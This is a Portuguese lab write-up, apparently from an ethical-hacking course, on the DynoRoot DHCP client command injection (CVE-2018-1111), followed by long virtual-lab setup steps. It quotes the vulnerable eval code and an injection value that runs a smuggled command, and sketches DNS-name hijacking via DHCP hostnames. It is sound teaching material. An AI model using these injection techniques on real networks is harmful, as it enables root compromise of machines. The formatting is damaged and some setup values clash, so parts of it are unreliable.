
Exploração de DHCP com DynoRoot (CVE-2018-1111)
Este projeto demonstra uma vulnerabilidade conhecida de máquinas Fedora e RedHat relacionada a uma implementação insegura do lado do cliente do Protocolo de Configuração Dinâmica de Host (DHCP). Um servidor DHCP malicioso pode criar ofertas DHCP com uma carga maliciosa que é executada em um shell raiz na máquina vítima.
A vulnerabilidade é creditada a Felix Wilhelm e é conhecida como CVE-2018-1111 ou "DynoRoot".
O Protocolo de Configuração Dinâmica de Host (DHCP) é um componente frequentemente negligenciado em sistemas em rede. Sua função é permitir a configuração dinâmica de máquinas host que se conectam a uma rede existente. O caso de uso mais comum é atribuir um endereço IP a hosts recém-conectados e informá-los sobre as rotas existentes para acessar outras redes. Opções adicionais podem ser especificadas, por exemplo, o endereço de um servidor DNS local e a zona que ele atende, ou a localização de um arquivo de inicialização.
Vamos analisar o protocolo de 4 vias seguido quando um novo host deseja ingressar em uma rede após conectar-se fisicamente a ela por meio de uma conexão Ethernet ou sem fio.
DISCOVER para a rede.OFFER, contendo: endereço IP, máscara de sub-rede, endereço do roteador e outras opções.REQUEST, solicitando oficialmente o aluguel do endereço IP que foi oferecido.ACK, indicando que o cliente está autorizado a usar o endereço IP por um período especificado.Após a troca inicial, o cliente pode renovar o aluguel simplesmente enviando outra mensagem REQUEST. O servidor verificará a existência de um aluguel com o IP e o endereço MAC do cliente e responderá com um ACK.
Algumas observações:
DISCOVER e imediatamente REQUEST um endereço. Isso é comum em cenários nos quais o cliente já se conectou à rede anteriormente e lembra do endereço anterior. Nesse caso, o servidor verifica a disponibilidade do endereço e envia um ACK para a solicitação, ou, caso o aluguel não esteja disponível, envia um NACK.RELEASE para informar ao servidor que o endereço agora está disponível. No entanto, isso não é obrigatório pelo protocolo e o servidor periodicamente recolherá aluguéis expirados.OFFER aluguéis para novos clientes.OFFERs, ele aceitará apenas um; os outros servidores observarão o REQUEST transmitido e invalidarão a oferta.A vulnerabilidade está localizada em /etc/NetworkManager/dispatcher.d/11-dhclient, que é executado pelo cliente para analisar e definir as opções recebidas via DHCP.
declare é um built-in do bash que, quando usado sem argumentos, lista todas as variáveis declaradas.grep filtra todas as variáveis relacionadas ao DHCP.while read opt itera sobre as variáveis DHCP uma a uma, realiza alguma análise e imprime uma linha como export new_optionname=value para cada opção.eval.```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Operação normal
Em situações normais, o código funcionaria perfeitamente e analisaria as novas opções DHCP.
Como exemplo, o seguinte código:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Irá imprimir estas duas instruções export para serem avaliadas por eval:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Injeção de código
No entanto, devido ao uso inseguro de `eval`, é possível injetar comandos bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Resultará na avaliação de echo Hacked!:```text
[1] 1541
Hacked!
### Fontes
- [Entrada no banco de dados de exploits](https://www.exploit-db.com/exploits/44890)
- [Anúncio da RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Post do blog da Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Repositório no GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Anúncio no Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Configuração
A configuração mínima para demonstrar a exploração consiste em apenas duas máquinas: a máquina `victim` executando Fedora 28, e uma máquina `attacker`. Nesta configuração, o atacante simplesmente precisa oferecer um serviço DHCP e aguardar a conexão da vítima.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Configuração mínima de exploração.</figcaption>
</figure>
Uma configuração mais realista colocaria as máquinas em uma rede privada, onde uma terceira máquina, o `gateway`, é configurada como o servidor DHCP benigno e como o gateway para a internet externa. Nesta configuração, o atacante deve impedir que a vítima se conecte ao servidor DHCP legítimo antes de tentar realizar o ataque.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>Configuração de rede privada com uma máquina gateway atuando como DHCP, roteador e firewall.</figcaption>
</figure>
Nas seções a seguir, vamos:
1. Instalar o VirtualBox
2. Criar 3 máquinas virtuais: `gateway`, `attacker` e `victim`
3. Instalar o sistema operacional nas máquinas (usuários, rede e acesso SSH)
4. Configurar o gateway para hospedar o servidor DHCP benigno
para a rede interna virtual fornecida pelo VirtualBox
5. Instalar as dependências Python para o ataque
Para [ir direto à ação](#performing-the-attack) e pular a configuração manual, é possível executar o script [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) na pasta `ansible`, que irá (quase) automaticamente criar as máquinas virtuais e configurá-las usando [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html). Apenas certifique-se de que o Ansible e o VirtualBox estão instalados antes de executar `setup.sh`.
### Preliminares
#### Instalar o VirtualBox
As instruções a seguir são do [guia oficial de instalação](https://www.virtualbox.org/wiki/Downloads).
Adicione esta linha ao `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
Instale o virtualbox e o pacote de extensão:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Instalar o Ansible (opcional)
Conforme o [guia oficial para Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
Nesta secção, criaremos as credenciais SSH que usaremos para fazer login nas máquinas. Adicionar as entradas de host no ficheiro de configuração SSH poupar-nos-á alguma digitação mais tarde.
Crie uma chave SSH sem frase secreta:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
Adicione estas entradas à configuração SSH (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Esta máquina hospeda o servidor DHCP benigno que gerencia um pool de endereços na rede interna. É baseada no Ubuntu Server 18.04 com o pacote ISC DHCP.
Em um cenário real, esta máquina também atuaria como roteador (iptables) e firewall (UFW Uncomplicated Firewall) entre as máquinas na rede e o mundo externo. Possivelmente, também hospedaria um servidor DNS para alguns serviços internos (BIND9).
Criaremos a máquina virtual usando as ferramentas de linha de comando do VirtualBox, para que o processo possa ser repetido o mais rápido possível. Caso contrário, é possível criar a VM através da interface gráfica inserindo a mesma configuração.
Faça o download da ISO do Ubuntu:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
Criar a VM:
- Interface de rede 1 conectada à rede NAT padrão do VirtualBox
- Interface de rede 2 conectada à rede interna `intnet`\
(o "d" no endereço MAC significa DHCP)
- Encaminhamento de porta de uma porta `600x` no host para a porta SSH na máquina virtual```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
Se algo der errado:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Instalação do SO
Na primeira vez que inicializamos a máquina, precisamos de uma área de trabalho virtual para seguir as etapas de instalação. Podemos iniciar a máquina virtual no modo headless e usar `rdesktop-vrdp` para conectar. Se o VirtualBox estiver executando em um computador desktop, pode ser mais fácil iniciar a máquina virtual a partir da GUI, mas este método funcionará mesmo com um host VirtualBox remoto.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Parâmetros de configuração para o instalador:
gatewaygatewaygat192.168.0.1 em enp0s8

Após a instalação, desligue, remova a iso e desabilite o VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH Login
Para facilitar o acesso, podemos instalar a chave SSH criada acima na máquina `gateway`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
Se por algum motivo a interface de rede enp0s8 não foi configurada durante a instalação,
escreva esta configuração em /etc/netplan/00-installer-config.yaml:```yaml
network:
version: 2
ethernets:
enp0s3:
dhcp4: yes
enp0s8:
dhcp4: no
addresses :
- 192.168.0.1/24
E atualize a configuração de rede:```
sudo netplan apply
ip addr show dev enp0s8
Instale ISC DHCP:```bash sudo apt install -y isc-dhcp-server
Para ativar o DHCP na interface interna, vamos editar `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
A configuração do pool de endereços gerenciado pelo DHCP vai para /etc/dhcp/dhcpd.conf:```
authoritative;
default-lease-time 60; max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }
O tempo de locação padrão escolhido de 1 minuto é bastante baixo, mas é útil para fins de demonstração.
<!--```bash
echo '
authoritative;
default-lease-time 60;
max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.105;
option domain-name-servers 192.168.0.53;
option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
sudo systemctl restart isc-dhcp-server
-->
Reiniciar serviço:```bash sudo systemctl restart isc-dhcp-server
Os eventos DHCP são registrados em `/var/log/syslog`.
Podemos destacar as entradas relevantes com:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Se deixarmos o gateway ligado durante a instalação das outras máquinas,
elas irão obter a configuração DHCP automaticamente.
Instalar o bind:```bash sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9
Edite `/etc/bind/named.conf.options`:```bash
echo '
options {
directory "/var/cache/bind";
allow-query { any; };
recursion no;
listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null
Edite /etc/bind/named.conf.local:```bash
echo '
zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };
zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null
Crie arquivos de zona direta e reversa em uma pasta que seja somente leitura para o bind:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones
echo '
$TTL 86400 ; Clients will cache DNS responses for 1 day
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
3 ; Serial
604800 ; Refresh (1 week)
86400 ; Retry (1 day)
2419200 ; Expire (4 weeks)
604800 ; Negative Cache TTL (4 weeks)
) ; The values above are only relevant for secondary DNS servers
; name servers
@ IN NS dns.100waystocook.pizza.
; 192.168.0.0/24
dns IN A 192.168.0.53
server IN A 192.168.0.1
www IN CNAME server
mongo IN CNAME server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
echo '
$TTL 604800
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS dns.100waystocook.pizza.
; PTR Records
1 IN PTR server.100waystocook.pizza. ; 192.168.0.1
53 IN PTR dns.100waystocook.pizza. ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
Execute verificações e reinicie:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0
sudo systemctl restart bind9
Verifique se funciona```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza
Criar chave simétrica para atualizações DNS:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"
KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE
KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"
cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF
sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"
Inclua a chave em `/etc/bind/named.conf.local`:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';
# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
type master;
file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
notify no;
# grant whoever owns the key the permission to update
# the A and TXT records for server.100waystocook.pizza.
update-policy {
grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
};
};
# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
type master;
file '/var/lib/bind/zones-dyn/db.192.168.0';
notify no;
# grant whoever owns the key the permission to update
# the PTR record for IPs in within the reverse zone
update-policy {
grant ${KEY_NAME} zonesub PTR;
};
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null
Copie o ficheiro de zona original para uma pasta que seja gravável pelo bind, remova o registo server:```bash
sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn
sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0
Execute verificações e reinicie:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
sudo systemctl restart bind9
Verifique se funciona atualizando manualmente a entrada DNS.
Enquanto faz o seguinte, fique de olho em tail -f /var/log/syslog para erros.
No final, exclua as novas entradas, caso contrário, as atualizações DHCP falharão:```bash
TTL=60
NEW_NAME='server'
NEW_IP='99'
systemd-resolve "${NEW_NAME}.100waystocook.pizza"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}
zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.
send EOF
sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A
zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR
send EOF
##### Configuração DHCP
Configure o DHCP para atualizar automaticamente as entradas DNS:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"
# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
algorithm HMAC-SHA512;
secret ${KEY_SECRET};
};
EOF
sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"
echo "
authoritative;
# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;
default-lease-time 120;
max-lease-time 7200;
include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
zone 100waystocook.pizza. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
zone 0.168.192.in-addr.arpa. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.1 192.168.0.20;
option domain-name-servers 192.168.0.53;
option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo systemctl restart isc-dhcp-server
A configuração do DHCP pode ser verificada com sudo dhcpd -t.
Quando uma máquina com hostname server é iniciada, /var/log/syslog deve se parecer com isto:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
Quando outra máquina com o hostname `fedora` é iniciada, ela obtém um IP mas não é adicionada ao DNS por causa da `update-policy`:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
O problema é que o DHCP registará qualquer máquina com o nome de host server no DNS, desde que seja a primeira. Se um atacante tentar conectar-se via DHCP com um nome de host server duplicado, o DHCP notará e recusará atualizar o DNS.```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.
Mas se o `server` legítimo ficar inativo por algum tempo, sua concessão é liberada e os registros são removidos. Então um invasor pode simplesmente se infiltrar fornecendo `server` como o nome do host durante a troca inicial de DHCP.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
-->
A máquina do atacante não tem requisitos especiais, apenas precisa executar Python em um ambiente Conda. Podemos reutilizar a ISO do Ubuntu Server 18.04 para simplificar.
Crie a VM:
intnet600x no host para a porta SSH na máquina virtual```bash
VM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}"
--memory 2048
--acpi on
--boot1 dvd
--nic1 nat
--nic2 'intnet'
--macaddress2 "${VM_MAC//:/}"
--natpf1 "guestssh,tcp,,${SSH_PORT},,22"
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 0
--type hdd
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
#### Instalação do SO
Na primeira vez que inicializamos a máquina, precisamos de um ambiente virtual para seguir as etapas de instalação. Podemos iniciar a máquina virtual em modo headless e usar `rdesktop-vrdp` para conectar. Se o VirtualBox estiver sendo executado em um computador desktop, pode ser mais fácil iniciar a máquina virtual a partir da GUI, mas este método funcionará mesmo com um host VirtualBox remoto.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Parâmetros de configuração para o instalador:
attackerattackerattenp0s8 para usar DHCP
Após a instalação, desligue, remova a ISO e desabilite o VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Login SSH
Para facilitar o acesso, podemos instalar a chave SSH criada acima na máquina `attacker`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack
Os scripts de ataque em Python precisam ser executados como root para poderem criar pacotes de rede de baixo nível usando Scapy.
Para simplificar, vamos instalar todas as dependências usando o usuário root.
apt-get install -y build-essential autoconf git clone https://github.com/nmap/nmap pushd nmap git checkout 0de714 ./configure make make install popd
nmap --script broadcast-dhcp-discover --script-args mac=random,timeout=2 -e enp0s8 nmap --script dhcp-discover --script-args dhcptype=DHCPRELEASE,mac=08:00:27:EF:5F:BA -e enp0s8
-->
[Ambiente Conda](https://docs.conda.io/en/latest/) com Scapy:```bash
sudo su
cd
wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh'
chmod u+x Miniconda3-latest-Linux-x86_64.sh
./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda
./miniconda/bin/conda init
source .bashrc
conda create -y -n dynoroot python=3.6
conda activate dynoroot
pip install 'scapy[complete]'
Em seguida, obteremos os dois scripts de ataque do GitHub:
A máquina vítima não está configurada de nenhuma forma especial, é apenas uma instalação do Fedora 28 com um NetworkManager vulnerável.
Baixe a ISO do Fedora:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF
Crie a VM:
- Interface de rede 1 conectada à rede NAT padrão do VirtualBox
- Interface de rede 2 conectada à rede interna `intnet`\
(o "f" no endereço MAC significa Fedora)
- Encaminhamento de porta de uma porta `600x` no host para a porta SSH na máquina virtual```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
